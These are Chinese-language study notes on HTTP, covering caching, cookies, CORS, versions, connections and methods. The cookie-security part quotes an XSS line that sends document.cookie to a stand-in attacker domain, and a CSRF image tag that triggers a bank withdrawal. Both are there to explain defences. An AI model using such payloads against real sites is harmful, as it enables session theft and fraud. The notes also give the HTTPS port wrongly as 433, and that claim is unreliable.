HTTP

超文本传输 ​​ 协议（HTTP）是一个用于传输超媒体文档（例如 HTML）的应用层协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的，但也可以用于其他目的。

HTTP 概述

HTTP 是一种能够获取如 HTML 这样的网络资源的 protocol(通讯协议)。它是在 Web 上进行数据交换的基础，是一种 client-server 协议，请求通常由客户端发起。

一个完整的 Web 文档通常是由不同的子文档拼接而成的，包括：

• html
• css
• js
• image
• video
• ...

HTTP 组件系统

客户端（user-agent)

user-agent 就是任何能够为用户发起行为的工具。

• 浏览器
• APP
• 调试程序等

Web 服务端

Web Server 来服务，提供客户端所请求的文档。

• 服务器
• 一组服务器组成的计算机集群
• 虚拟主机等

代理（Proxies）

在浏览器和服务器之间，用于转发 HTTP 消息的计算机或其他设备。

代理的作用：

• 缓存（可以是公开的也可以是私有的，像浏览器的缓存）
• 过滤（像反病毒扫描，家长控制...）
• 负载均衡（让多个服务器服务不同的请求）
• 认证（对不同资源进行权限管理）
• 日志记录（允许存储历史信息）

HTTP 基本性质

• 简单易读：HTTP 报文能够被人读懂，还允许简单测试，降低了门槛

• 可扩展：只要服务端和客户端就新 headers 达成语义一致，新功能就可以被轻松加入进来

• 无状态，有会话：在同一个连接中，两个执行成功的请求之间是没有关系的；使用 HTTP 的头部扩展，把 Cookies 添加到头部中，创建一个会话让每次请求都能共享相同的上下文信息，达成相同的状态

• 连接

  • HTTP 依赖于 TCP 进行消息传递
  • HTTP/1.1 使用 keep-alive 实现长连接
  • HTTP/2 通过在一个连接复用消息的方式来让这个连接始终保持为暖连接。

HTTP 能控制什么

HTTP 良好的扩展性使得它能控制越来越多的 Web 功能：

• 缓存
• 开放同源限制
• 认证
• 代理和隧道
• 会话

HTTP 流

• 打开一个 TCP 连接
• 发送一个 HTTP 报文
• 读取服务端返回的报文信息
• 关闭连接或者为后续请求重用连接

HTTP 报文

HTTP/1.1 以及更早的 HTTP 协议报文都是语义可读的。在 HTTP/2 中，这些报文被嵌入到了一个新的二进制结构，帧。帧允许实现很多优化，比如报文头部的压缩和复用。

请求报文

• Method：请求方法，GET、POST、HEAD、OPTIONS 等
• Path：要获取的资源的路径
• Version：HTTP 协议版本号
• Headers：头部
• 空行
• Body：请求内容

响应报文

• HTTP 协议版本号。
• 一个状态码（status code），来告知对应请求执行成功或失败，以及失败的原因。
• 一个状态信息，这个信息是非权威的状态码描述信息，可以由服务端自行设定。
• HTTP headers，与请求头部类似。
• 空行
• 可选项，比起请求报文，响应报文中更常见地包含获取的资源 body。

基于 HTTP 的 APIs

• XMLHttpRequest API
• Fetch API

HTTP 缓存

通过复用以前获取的资源，可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量，因此减少了显示资源表示形式所需的时间。通过使用 HTTP 缓存，变得更加响应性。

缓存技术：

缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 web 缓存发现请求的资源已经被存储，它会拦截请求，返回该资源的拷贝，而不会去源服务器重新下载。

缓存的作用：

• 缓解服务器压力
• 提升性能

缓存分类：

• 私有缓存；私有缓存只能用于单独用户，如浏览器缓存
• 共享缓存；共享缓存可以被多个用户使用，如 web 代理

缓存操作的目标

缓存的关键主要包括 request method 和目标 URI（一般只有 GET 请求才会被缓存）。常见的缓存案例如下：

• 一个检索请求的成功响应: 对于 GET 请求，响应状态码为：200，则表示为成功。一个包含例如 HTML 文档，图片，或者文件的响应。
• 永久重定向: 响应状态码：301。
• 错误响应: 响应状态码：404 的一个页面。
• 不完全的响应: 响应状态码 206，只返回局部的信息。
• 除了 GET 请求外，如果匹配到作为一个已被定义的 cache 键名的响应。

缓存控制

HTTP/1.1 定义的 Cache-Control 头用来区分对缓存机制的支持情况， 请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。

• 没有缓存（Cache-Control: no-store）
• 缓存但重新验证（Cache-Control: no-cache）
• 公有缓存（Cache-Control: public）
• 私有缓存（Cache-Control: private）
• 过期时间（Cache-Control: max-age=31536000）；max-age 表示秒数
• 验证方式（Cache-Control: must-revalidate）；使用了"must-revalidate" 指令，那就意味着缓存在考虑使用一个陈旧的资源时，必须先验证它的状态，已过期的缓存将不被使用。

新鲜度

缓存会定期地将一些副本删除，这个过程叫做缓存驱逐。

由于 HTTP 是 C/S 模式的协议，服务器更新一个资源时，不可能直接通知客户端更新缓存，所以双方必须为该资源约定一个过期时间，在该过期时间之前，该资源（缓存副本）就是新鲜的，当过了过期时间后，该资源（缓存副本）则变为陈旧的。

驱逐算法用于将陈旧的资源（缓存副本）替换为新鲜的：

• 不会直接被清除或忽略的
• 客户端发起一个请求时，缓存检索到陈旧的资源，附加请求头 If-None-Match，发给目标服务
• 服务器根据 If-None-Match 来检查该资源副本是否是依然还是算新鲜的
• 资源副本是新鲜的，返回 304；过期，返回资源的实体
• 客户端更新缓存时间

缓存验证

缓存验证触发场景：

• 用户点击刷新按钮
• 缓存的响应头信息里含有"Cache-control: must-revalidate”的定义，在浏览的过程中也会触发缓存验证
• 浏览器偏好设置里设置 Advanced->Cache 为强制验证缓存

当缓存的文档过期后，需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。

校验器：

• 强校验器（ETag），资源请求的响应头里含有 ETag, 客户端可以在后续的请求的头中带上 If-None-Match 头来验证缓存
• 弱校验器（Last-Modified），响应头里含有这个信息，客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存

HTTP cookies

Cookie 主要用于以下三个方面：

• 会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）
• 个性化设置（如用户自定义设置、主题等）
• 浏览器行为跟踪（如跟踪分析用户行为等）

创建 Cookie

服务器使用 Set-Cookie 响应头部向用户代理（一般是浏览器）发送 Cookie 信息

Set-Cookie: <cookie名>=<cookie值>

服务器通过该头部告知客户端保存 Cookie 信息

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[页面内容]

对该服务器发起的每一次新请求，浏览器都会将之前保存的 Cookie 信息通过 Cookie 请求头部再发送给服务器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

定义 Cooki 生命周期

Cookie 的生命周期可以通过两种方式定义：

• 会话期 Cookie ：不需要指定过期时间（Expires）或者有效期（Max-Age），浏览器关闭之后它会被自动删除。需要注意的是，有些浏览器提供了会话恢复功能，这种情况下即使关闭了浏览器，会话期 Cookie 也会被保留下来，就好像浏览器从来没有关闭一样，这会导致 Cookie 的生命周期无限期延长。

• 持久性 Cookie：生命周期取决于过期时间（Expires）或有效期（Max-Age）指定的一段时间

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

限制访问 Cookie

有两种方法可以确保 Cookie 被安全发送，并且不会被意外的参与者或脚本访问：Secure 属性和 HttpOnly 属性。

标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端，因此可以预防 man-in-the-middle 攻击者的攻击。

JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的 cookie；此类 Cookie 仅作用于服务器

Cookie 的作用域

Domain 和 Path 标识定义了 Cookie 的作用域：即允许 Cookie 应该发送给哪些 URL。

Domain

Domain 指定了哪些主机可以接受 Cookie。如果不指定，默认为 origin，不包含子域名。如果指定了 Domain，则一般包含子域名。

Path

Path 标识指定了主机下的哪些路径可以接受 Cookie（该 URL 路径必须存在于请求 URL 中）。以字符 %x2F ("/") 作为路径分隔符，子路径也会被匹配。

SameSite attribute

• None。浏览器会在同站请求、跨站请求下继续发送 cookies，不区分大小写。

• Strict。浏览器将只在访问相同站点时发送 cookie。（在原有 Cookies 的限制条件上的加强，如上文 “Cookie 的作用域” 所述）

• Lax。与 Strict 类似，但用户从外部站点导航至 URL 时（例如通过链接）除外。 在新版本浏览器中，为默认选项，Same-site cookies 将会为一些跨站子请求保留，如图片加载或者 frames 的调用，但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接

Cookie 安全策略

缓解涉及 Cookie 的攻击的方法：

• 使用 HttpOnly 属性可防止通过 JavaScript 访问 cookie 值。

• 用于敏感信息（例如指示身份验证）的 Cookie 的生存期应较短，并且 SameSite 属性设置为 Strict 或 Lax。（请参见上方的 SameSite Cookie。）在支持 SameSite 的浏览器中，这样做的作用是确保不与跨域请求一起发送身份验证 cookie，因此，这种请求实际上不会向应用服务器进行身份验证。

会话劫持和 XSS

在 Web 应用中，Cookie 常用来标记用户或授权会话。因此，如果 Web 应用的 Cookie 被窃取，可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 XSS (en-US) 攻击。

new Image().src =
  'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie

HttpOnly 类型的 Cookie 用于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造（CSRF）

比如在不安全聊天室或论坛上的一张图片，它实际上是一个给你银行服务器发送提现的请求：

<img
  src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"
/>

当你打开含有了这张图片的 HTML 页面时，如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效（还没有其它验证步骤），你银行里的钱很可能会被自动转走。

有一些方法可以阻止此类事件的发生：

• 对用户输入进行过滤来阻止 XSS (en-US)；
• 任何敏感操作都需要确认；
• 用于敏感信息的 Cookie 只能拥有较短的生命周期。

跨域资源共享（CORS）

跨源资源共享 (CORS)是一种基于 HTTP 头的机制，该机制通过允许服务器标示除了它自己以外的其它 origin（域，协议和端口），使得浏览器允许这些 origin 访问加载自己的资源。

跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求，该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中，浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。

什么情况下需要 CORS

• XMLHttpRequest 或 Fetch APIs 发起的跨源 HTTP 请求
• Web 字体 (CSS 中通过 @font-face 使用跨源字体资源)
• WebGL 贴图
• 使用 drawImage 将 Images/video 画面绘制到 canvas
• 来自图像的 CSS 图形

跨源资源共享机制的工作原理

跨源资源共享标准新增了一组 HTTP 首部字段，允许服务器声明哪些源站通过浏览器有权限访问哪些资源。

另外，规范要求，对那些可能对服务器数据产生副作用的 HTTP 请求方法（特别是 GET 以外的 HTTP 请求，或者搭配某些 MIME 类型 的 POST 请求），浏览器必须首先使用 OPTIONS 方法发起一个预检请求（preflight request），从而获知服务端是否允许该跨源请求。服务器确认允许之后，才发起实际的 HTTP 请求。在预检请求的返回中，服务器端也可以通知客户端，是否需要携带身份凭证（包括 Cookies 和 HTTP 认证 相关数据）。

预检请求

一个 CORS 预检请求是用于检查服务器是否支持 CORS 即跨域资源共享。

请求首部包括：

• Access-Control-Request-Method
• Access-Control-Request-Headers
• Origin

当需要 CORS 预检的时候，浏览器会自动发出一个预检请求。预检请求示例如下。

请求报文：

OPTIONS /resource/foo
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: origin, x-requested-with
Origin: https://foo.bar.org

响应报文：

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Access-Control-Allow-Origin: https://foo.bar.org
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
Access-Control-Max-Age: 86400

不触发 CORS 预检请求的条件

若请求 满足所有下述条件不会触发 CORS 预检请求。

• 请求方法是以下方法之一：
  • GET
  • HEAD
  • POST
• 首部字段在下列首部字段范围内
  • 用户代理自动设置的首部字段（Connection，User-Agent 等）
  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type
• Content-Type 的值仅限于下列三者之一：
  • text/plain
  • multipart/form-data
  • application/x-www-form-urlencoded
• 请求中的任意 XMLHttpRequest 对象均没有注册任何事件监听器；XMLHttpRequest 对象可以使用 XMLHttpRequest.upload 属性访问
• 请求中没有使用 ReadableStream 对象

预检请求重定向

部分浏览器不支持预检请求重定向，会报异常。解决方案如下：

• 在服务端去掉对预检请求的重定向；
• 将实际请求变成一个简单请求（不需要发起预检请求）。
• 先发起一个简单请求，获取重定向后的 url，再向重定向后的 url 发起真正的请求

请求附带身份凭证

一般而言，对于跨源 XMLHttpRequest 或 Fetch 请求，浏览器 不会 发送身份凭证信息。如果要发送凭证信息，需要设置 XMLHttpRequest 或 Fetch 的某个特殊标志位。

示例如下：

1.客户端设置 withCredentials = true，从而向服务器发送 Cookies

const invocation = new XMLHttpRequest()
const url = 'https://bar.other/resources/credentialed-content/'

function callOtherDomain() {
  if (invocation) {
    invocation.open('GET', url, true)
    invocation.withCredentials = true
    invocation.onreadystatechange = handler
    invocation.send()
  }
}

2.服务器设置预检请求和凭据

• 服务器设置 Access-Control-Allow-Credentials: true 来表明可以携带凭据进行实际的请求

• 服务器不能将 Access-Control-Allow-Origin 的值设为通配符“*”，而应将其设置为特定的域，如：Access-Control-Allow-Origin: https://example.com。

• 服务器不能将 Access-Control-Allow-Headers 的值设为通配符“*”，而应将其设置为首部名称的列表，如：Access-Control-Allow-Headers: X-PINGOTHER, Content-Type

• 服务器不能将 Access-Control-Allow-Methods 的值设为通配符“*”，而应将其设置为特定请求方法名称的列表，如：Access-Control-Allow-Methods: POST, GET

HTTP 发展

HTTP/0.9 – 单行协议

最初版本的 HTTP 协议并没有版本号，后来它的版本号被定位在 0.9 以区分后来的版本。

HTTP/0.9 极其简单：请求由单行指令构成，以唯一可用方法 GET 开头，其后跟目标资源的路径（一旦连接到服务器，协议、服务器、端口号这些都不是必须的）。

GET /mypage.html

响应也极其简单的：只包含响应文档本身。

<HTML>
这是一个非常简单的 HTML 页面
</HTML>

HTTP/1.0 – 构建可扩展性

HTTP/1.0 1996 年 11 月发布

• 协议版本信息现在会随着每个请求发送（HTTP/1.0 被追加到了 GET 行）。
• 状态码会在响应开始时发送，使浏览器能了解请求执行成功或失败，并相应调整行为（如更新或使用本地缓存）。
• 引入了 HTTP 头的概念，无论是对于请求还是响应，允许传输元数据，使协议变得非常灵活，更具扩展性。
• 在新 HTTP 头的帮助下，具备了传输除纯文本 HTML 文件以外其他类型文档的能力（凭借 Content-Type 头）。

HTTP/1.1 – 标准化的协议

在 1997 年初，HTTP1.1 标准发布

• 连接可以复用，节省了多次打开 TCP 连接加载网页文档资源的时间。
• 增加管线化技术，允许在第一个应答被完全发送之前就发送第二个请求，以降低通信延迟。
• 支持响应分块。
• 引入额外的缓存控制机制。
• 引入内容协商机制，包括语言，编码，类型等，并允许客户端和服务器之间约定以最合适的内容进行交换。
• 凭借 Host 头，能够使不同域名配置在同一个 IP 地址的服务器上。

HTTP 扩展

HTTP 用于安全传输：HTTP 基础上创建额外的加密传输层 SSL，SSL 在标准化道路上最终成为 TLS

HTTP 用于复杂应用：

• RESTful API
• Server-sent events，服务器可以偶尔推送消息到浏览器。
• WebSocket，一个新协议，可以通过升级现有 HTTP 协议来建立。

HTTP/2 - 为了更优异的表现

在 2015 年 5 月正式标准化发布

HTTP/2 在 HTTP/1.1 有几处基本的不同：

• HTTP/2 是二进制协议而不是文本协议。不再可读，也不可无障碍的手动创建，改善的优化技术现在可被实施。
• 这是一个复用协议。并行的请求能在同一个链接中处理，移除了 HTTP/1.x 中顺序和阻塞的约束。
• 压缩了 headers。因为 headers 在一系列请求中常常是相似的，其移除了重复和传输重复数据的成本。
• 其允许服务器在客户端缓存中填充数据，通过一个叫服务器推送的机制来提前请求。

HTTP 消息

HTTP 消息是服务器和客户端之间交换数据的方式。有两种类型的消息︰

• 请求（requests）-- 由客户端发送用来触发一个服务器上的动作；
• 响应（responses）-- 来自服务器的应答。

HTTP 请求和响应具有相似的结构，由以下部分组成︰

1. 一行起始行用于描述要执行的请求，或者是对应的状态，成功或失败。这个起始行总是单行的。
2. 一个可选的 HTTP 头集合指明请求或描述消息正文。
3. 一个空行指示所有关于请求的元数据已经发送完毕。
4. 一个可选的包含请求相关数据的正文 (比如 HTML 表单内容), 或者响应相关的文档。 正文的大小有起始行的 HTTP 头来指定。

典型的 HTTP 会话

会话分为三个阶段：

• 客户端建立一条 TCP 连接（如果传输层不是 TCP，也可以是其他适合的连接）。
• 客户端发送请求并等待应答。
• 服务器处理请求并送回应答，回应包括一个状态码和对应的数据。

建立连接

在客户端 - 服务器协议中，连接是由客户端发起建立的。在 HTTP 中打开连接意味着在底层传输层启动连接，通常是 TCP。

• http 默认端口号是 80
• https 默认端口号是 433

客户端请求结构

1. 第一行包括请求方法及请求参数：文档路径，不包括协议和域名的绝对路径 URL；使用的 HTTP 协议版本
2. 接下来的行每一行都表示一个 HTTP 首部，为服务器提供关于所需数据的信息（例如语言，或 MIME 类型），或是一些改变请求行为的数据（例如当数据已经被缓存，就不再应答）。这些 HTTP 首部组成以一个空行结束的一个块。
3. 最后一块是可选数据块，包含更多数据，主要被 POST 方法所使用。

服务器响应结构

1. 第一行是 状态行，包括使用的 HTTP 协议版本，状态码和一个状态描述（可读描述文本）。
2. 接下来每一行都表示一个 HTTP 首部，为客户端提供关于所发送数据的一些信息（如类型，数据大小，使用的压缩算法，缓存指示）。与客户端请求的头部块类似，这些 HTTP 首部组成一个块，并以一个空行结束。
3. 最后一块是数据块，包含了响应的数据（如果有的话）。

HTTP/1.x 的连接管理

HTTP/1.x 里有多种模型：

• 短连接
• 长连接
• HTTP 流水线

短连接

HTTP 最早期的模型，也是 HTTP/1.0 的默认模型，是短连接。

每一个 HTTP 请求都由它自己独立的连接完成；这意味着发起每一个 HTTP 请求之前都会有一次 TCP 握手，而且是连续不断的。

TCP 协议握手本身就是耗费时间的，所以 TCP 可以保持更多的热连接来适应负载。短连接破坏了 TCP 具备的能力，新的冷连接降低了其性能。

长连接

长连接 的概念便被设计出来了，主要为了解决短连接的两个问题：

• 创建新连接耗费时间
• TCP 连接的性能只有在该连接被使用一段时间后 (热连接) 才能得到改善

一个长连接会保持一段时间，重复用于发送一系列请求，节省了新建 TCP 连接握手的时间，还可以利用 TCP 的性能增强能力。当然这个连接也不会一直保留着：连接在空闲一段时间后会被关闭 (服务器可以使用 Keep-Alive 协议头来指定一个最小的连接保持时间)。

长连接的缺点：

• 在空闲状态，会消耗服务器资源
• 在重负载时，还可能遭受 DoS attacks 攻击

HTTP/1.0 里默认并不使用长连接。把 Connection 设置成 close 以外的其它参数都可以让其保持长连接，通常会设置为 retry-after。

在 HTTP/1.1 里，默认就是长连接的，协议头都不用再去声明它 (但我们还是会把它加上，万一某个时候因为某种原因要退回到 HTTP/1.0 呢)。

HTTP 流水线

默认情况下，HTTP 请求是按顺序发出的。下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。

流水线是在同一条长连接上发出连续的请求，而不用等待应答返回。这样可以避免连接延迟。理论上讲，性能还会因为两个 HTTP 请求有可能被打包到一个 TCP 消息包中而得到提升。就算 HTTP 请求不断的继续，尺寸会增加，但设置 TCP 的 MSS(Maximum Segment Size) 选项，仍然足够包含一系列简单的请求。

并不是所有类型的 HTTP 请求都能用到流水线：只有 idempotent 方式，比如 GET、HEAD、PUT 和 DELETE 能够被安全的重试：如果有故障发生时，流水线的内容要能被轻易的重试。

HTTP 请求方法

• GET 方法请求一个指定资源的表示形式，使用 GET 的请求应该只被用于获取数据。
• HEAD 方法请求一个与 GET 请求的响应相同的响应，但没有响应体。
• POST 方法用于将实体提交到指定的资源，通常导致在服务器上的状态变化或副作用。
• PUT 方法用请求有效载荷替换目标资源的所有当前表示。
• DELETE 方法删除指定的资源。
• CONNECT 方法建立一个到由目标资源标识的服务器的隧道。
• OPTIONS 方法用于描述目标资源的通信选项。
• TRACE 方法沿着到目标资源的路径执行一个消息环回测试。
• PATCH 方法用于对资源应用部分修改。

HTTP 响应状态码

HTTP 响应状态码用来表明特定 HTTP 请求是否成功完成。 响应被归为以下五大类：

1. 信息响应 (100–199)
2. 成功响应 (200–299)
3. 重定向消息 (300–399)
4. 客户端错误响应 (400–499)
5. 服务端错误响应 (500–599)

信息响应

成功响应

重定向消息

客户端错误响应

服务端错误响应